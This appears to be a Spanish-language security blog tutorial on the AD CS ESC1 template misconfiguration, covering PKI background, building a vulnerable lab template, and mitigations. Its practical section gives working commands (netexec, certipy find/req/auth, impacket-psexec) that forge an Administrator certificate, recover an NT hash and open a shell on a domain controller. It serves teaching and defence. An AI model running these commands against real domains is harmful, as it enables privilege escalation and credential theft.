Active Directory

ESC1: Cómo una plantilla mal configurada en AD CS permite la escalada de privilegios


Introducción

Antes de hablar de la vulnerabilidad de tipo ESC1, debemos dejar claro algunos conceptos y terminos que no encontraremos cuando nos enfrentamos a AD CS.

¿Qué es AD CS?

Active Directory Certificate Services (AD CS) es una función de servidor de Windows que permite a las organizaciones crear y administrar su propia infraestructura de clave pública (PKI). Esto significa que pueden emitir, gestionar y validar certificados digitales para asegurar la comunicación y autenticación dentro de la red.

AD CS se integra directamente con Active Directory Domain Services (AD DS), que es la base de datos centralizada de usuarios, computadoras, grupos y otros objetos en una red Windows. Gracias a esta integración, la gestión de identidades y permisos se vuelve más eficiente y segura.

Usos principales de AD CS

AD CS puede proteger diversos servicios de red mediante certificados digitales:

  • SSL/TLS para sitios web y aplicaciones seguras.
  • VPN para conexiones remotas seguras.
  • Servicios de Escritorio Remoto (RDS).
  • Redes inalámbricas (WLAN) mediante autenticación segura.
  • Emisión de certificados para tarjetas inteligentes y tokens físicos, que permiten autenticar usuarios de forma robusta en la red. La clave privada almacenada en la tarjeta o token se utiliza para autenticar al usuario.

Componentes y funcionalidades de AD CS

  1. Certificados digitales: Prueban la identidad de usuarios, dispositivos y servicios.
  2. Autoridad de certificación (CA):
    • Puede ser independiente o empresarial.
    • Puede ser raíz o subordinada dentro de la jerarquía de PKI.
  3. Plantillas de certificado: Definen qué tipo de certificado emitir y con qué propiedades.
  4. Generación de pares de claves: Clave pública y privada para cifrado y autenticación.
  5. Revocación de certificados: Posibilidad de invalidar certificados comprometidos o caducados.
  6. Comunicación segura: Protege la información transmitida entre usuarios y servicios.
  7. Firmas digitales: Garantizan integridad y autenticidad de datos.
  8. Cifrado y descifrado: Protege la información almacenada o transmitida.
  9. Seguridad mejorada y gestión de identidad: Centraliza y refuerza el control sobre quién puede acceder a qué recursos.

Public Key Infrastructure (PKI)

Public Key Infrastructure (PKI) es un sistema que utiliza certificados digitales y criptografía de clave pública para proporcionar comunicaciones seguras a través de redes no seguras, como Internet. La PKI permite la firma digital, el cifrado y la autenticación de documentos electrónicos, mensajes de correo electrónico y otras formas de comunicación en línea.

Un certificado digital es un documento electrónico que vincula una clave pública a una persona, organización, dispositivo o servicio. Es emitido y firmado por un proveedor de confianza Certificate Authority (CA), que verifica la identidad del titular del certificado y la integridad de la clave pública. El certificado incluye la clave pública, el nombre del sujeto, el nombre del emisor, el período de validez y otros atributos.

Beneficios de la PKI:

  • Confidencialidad: La PKI permite cifrar los datos que se almacenan o transmiten.
  • Integridad: Una firma digital identifica si los datos se modifican mientras se transmiten.
  • Autenticidad: Un resumen de mensaje se firma digitalmente con la clave privada del remitente. Dado que el resumen solo se puede descifrar con la clave pública correspondiente del remitente, demuestra que el mensaje solo puede provenir del usuario remitente.

Certificados

Un certificado X.509 es un documento digital firmado que permite cifrado, firma de mensajes y autenticación. Su función principal es vincular una identidad con un par de claves (pública y privada).

Campos clave:

  • Subject: Identidad del propietario.
  • Public Key: Clave pública asociada al sujeto.
  • NotBefore / NotAfter: Periodo de validez del certificado.
  • Serial Number: Identificador único asignado por la CA.
  • Issuer: Emisor del certificado (generalmente una CA).
  • Subject Alternative Name (SAN): Nombres alternativos vinculados al sujeto.
  • Basic Constraints: Indica si el certificado es de una CA o una entidad final, y sus restricciones.
  • Extended Key Usages (EKUs): Define usos específicos, como firma de código, cifrado de archivos, correo seguro, autenticación de cliente/servidor o inicio de sesión con tarjeta inteligente.
  • Signature Algorithm / Signature: Algoritmo y firma usados por la CA para validar el certificado.

Plantillas de certificado

En AD CS Enterprise, las Certificate Templates definen la configuración de los certificados emitidos por la CA, incluyendo:

  • Políticas de inscripción
  • Duración de validez
  • Usos permitidos
  • Especificaciones del sujeto
  • Elegibilidad del solicitante

Estas plantillas se gestionan como objetos de Active Directory (pKICertificateTemplate) y sus atributos determinan la configuración del certificado, mientras que los permisos de inscripción y edición se controlan mediante descriptores de seguridad.

Un atributo clave es pKIExtendedKeyUsage, que contiene los OIDs (Object Identifiers) que definen los usos permitidos del certificado, como:

  • Firma de código
  • Cifrado de archivos
  • Inicio de sesión con tarjeta inteligente
  • Autenticación de clientes

Investigaciones como la de SpecterOps muestran que algunos OIDs permiten la autenticación en Active Directory, más allá del clásico OID de autenticación de cliente (1.3.6.1.5.5.7.3.2), identificando varios otros que también facilitan este acceso.

ESC1 – Configuración incorrecta de la plantilla

ESC1 (Escalation 1) es el primer escenario de escalada de dominio basado en abusar de plantillas de certificado mal configuradas en AD CS. En pocas palabras: administradores que duplican y ajustan plantillas sin entender todas las opciones pueden dejar abierta para que cualquier usuario de dominio se emita un certificado que le permita suplcantar a cuentas privilegiadas (incluso Domain Admins).

¿Qué explota exactamente?

ESC1 se aprovecha de plantillas con la opción “Enrollee supplies subject” activada (indicador CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). Esa opción permite que quien solicita el certificado (el enrollee) defina el Subject / SubjectAltName (SAN) del certificado. Si además la plantilla:

  • permite autenticación de cliente (Client Authentication),
  • permite la inscripción por usuarios de bajo privilegio (ej. Domain Users),
  • no requiere aprobación manual de la solicitud, y
  • no exige una firma previa/autorizada,

entonces un atacante con una cuenta normal puede pedir un certificado con el SAN de una cuenta privilegiada y usarlo para autenticarse como esa cuenta lo que lleva a una escalada de privilegios.

Condiciones necesarias

Al igual que la mayoría de los vectores de ataque de Active Directory, se deben cumplir algunas condiciones epecíficas para la explotación de ESC1, estas incluyen:

  1. La autoridad de certificación (CA) otorga derechos de inscripción a usuarios con privilegios bajos, lo que permite que grupos como “Domain Users” soliciten certificados.
  2. No es necesario que la solicitud de certificado sea aprobada por un “Administrador” de certificados.
  3. No se requieren firmas autorizadas, lo que significa que no es necesario proporcionar un certificado previmamente aprobado para emitir un nuevo certificado.
  4. La plantilla permite la autenticación del cliente mediante el certificado.
  5. La plantilla permite a los solicitantes especificar un SubjectAltName (SAN), lo que significa que pueden solicitar un certificado como cualquier persona. Esto se debe a que se especifica CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.

Ejemplo Práctico

Ahora que tenemos claros los conceptos necesarios, podemos pasar a la práctica.

En primera instancia, configuraremos un entorno vulnerable, es decir, crearemos una plantilla insegura vulnerable a ESC1.

Para este laboratorio, usare un Windows Server 2022 el cual ya esta configurado como DC y tiene agregado el rol de AD CS.

Para crear nuestra plantilla ESC1, seguiremos los siguientes pasos:

  • Abrir Certificate Templates (certsrv MMC).
  • Duplicar una plantilla (p.ej. User o Computer) → Duplicate Template.
  • En la pestaña Compatibility selecciona Windows Server 2016/2019/2022 según prefieras.
  • Pestaña General: pon nombre identificable (p.ej. ESC1).

Pestaña Subject Name: seleccionar “Supply in the request” (Enrollee supplies subject). Esto permitirá que el solicitante ponga el Subject/CN/SAN.

Pestaña Security: añadir Authenticated Users y dar Enroll (y opcionalmente Autoenroll si quieres automatizar). Esto es la parte peligrosa de ESC1.

PermisoSignificado
EnrollPermite a la cuenta (usuario, grupo o equipo) solicitar manualmente un certificado de esa plantilla. Ejemplo: usando certreq, MMC Certificates, Certipy, etc.
AutoenrollPermite la emisión automática de certificados a usuarios o máquinas cuando la política de grupo (GPO) lo solicita. Usado mucho en entornos corporativos donde, por ejemplo, todos los equipos obtienen automáticamente un cert de equipo.
ReadPermite ver la plantilla, requisito básico para que los otros permisos funcionen.

Pestaña Extensions: asegurarte que tiene Client Authentication (1.3.6.1.5.5.7.3.2) en EKU.

  • En Private Key dejar opcionalmente “Make private key exportable” (si quieres practicar robo de claves/PKCS12).
  • Publicar la plantilla en la CA (en CA → Clic Derecho → New → Certificate Template to Issue).

Enumeración desde Linux

Netexec

nxc ldap hacklab.thl -u bob -p Password123 -M adcs

Para empezar, podemos identificar vulnerabilidades de AD CS usando certipy-ad con las opciones find y -vulnerable.

  • Nombre de usuario: -u / -username <Username>
  • Contraseña: -p / -password <Password>
  • Dirección IP Controlador de dominio: -dc-ip <IP>
  • Encontrar configuración vulnerable: -vulnerable
  • Resultado de salida como texto a la salida estándar: -stdout

certipy find -u '[email protected]' -p 'Password123' -dc-ip 192.168.56.10 -vulnerable -stdout

Explotación desde Linux

Después de ejecutar certipy-ad con el indicador find, si una plantilla de certificado permite la autenticación del cliente, permite al solicitante emitir un SAN (nombre alternativo del sujeto) y el grupo de usuarios actual tiene derechos de inscripción, el dominio es vulnerable a ESC1.

Usando certipy-ad, podemos solicitar directamente un certificado de la CA que puede usarse para la escalada de privilegios del dominio:

certipy-ad req -u '[email protected]' -p 'Password123' -dc-ip 192.168.56.10 -ca hacklab-HACKLAB-CA -template ESC1 -upn Administrador

Los comandos anteriores crean un archivo de certificado llamado administrador.pfx, podemos usar ese certificado para autenticarnos como Administrador:

certipy-ad auth -pfx administrador.pfx -username administrador -domain hacklab.thl -dc-ip 192.168.56.10

Para autenticarnos, podemos utilizar el TGT guardado en administrador.ccache. Además, certipy-ad también recupera el hash NT de la cuenta Administrador utilizando la información de la solicitud de certificado. Usemos el TGT para ejecutar impacket-psexec:

KRB5CCNAME=administrador.ccache impacket-psexec -k -no-pass HACKLAB.hacklab.thl

Archivos .ccache y la variable KRB5CCNAME

¿Qué es un archivo .ccache?

El archivo .ccache es un almacenamiento de credenciales Kerberos en sistemas Linux/macOS. Almacena tickets Kerberos como el TGT y el TGS, similar a lo que ocurre en memoria en un sistema Windows con LSASS.

¿Qué es la variable KRB5CCNAME?

Es una variable de entorno que le indica a las herramientas Kerberos que archivo .ccache utilizar.

De esta forma, logramos abusar de la vulnerabilidad ESC1 y ganar acceso al DC como Administrador.

Mitigaciones

  • Deshabilitar la opción Enrollee supplies subject en plantillas sensibles.
  • Restringir permisos de Enroll/AutoEnroll — eliminar a Domain Users y dejar solo grupos/usuarios necesarios.
  • Requerir aprobación manual para plantillas que puedan permitir autenticación de cliente o emitir certificados con EKU sensibles.
  • Hacer plantillas “issued to” específicas: forzar que sólo se puedan emitir para ciertos tipos de equipos/usuarios (cuando aplique).
  • Habilitar logging y alertas para solicitudes de certificados que incluyan SANs que coincidan con cuentas privilegiadas.
  • Revisar y asegurar la CA: políticas de emisión, plantillas publicadas, y limitar quién puede gestionar plantillas en AD.

Referencias


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *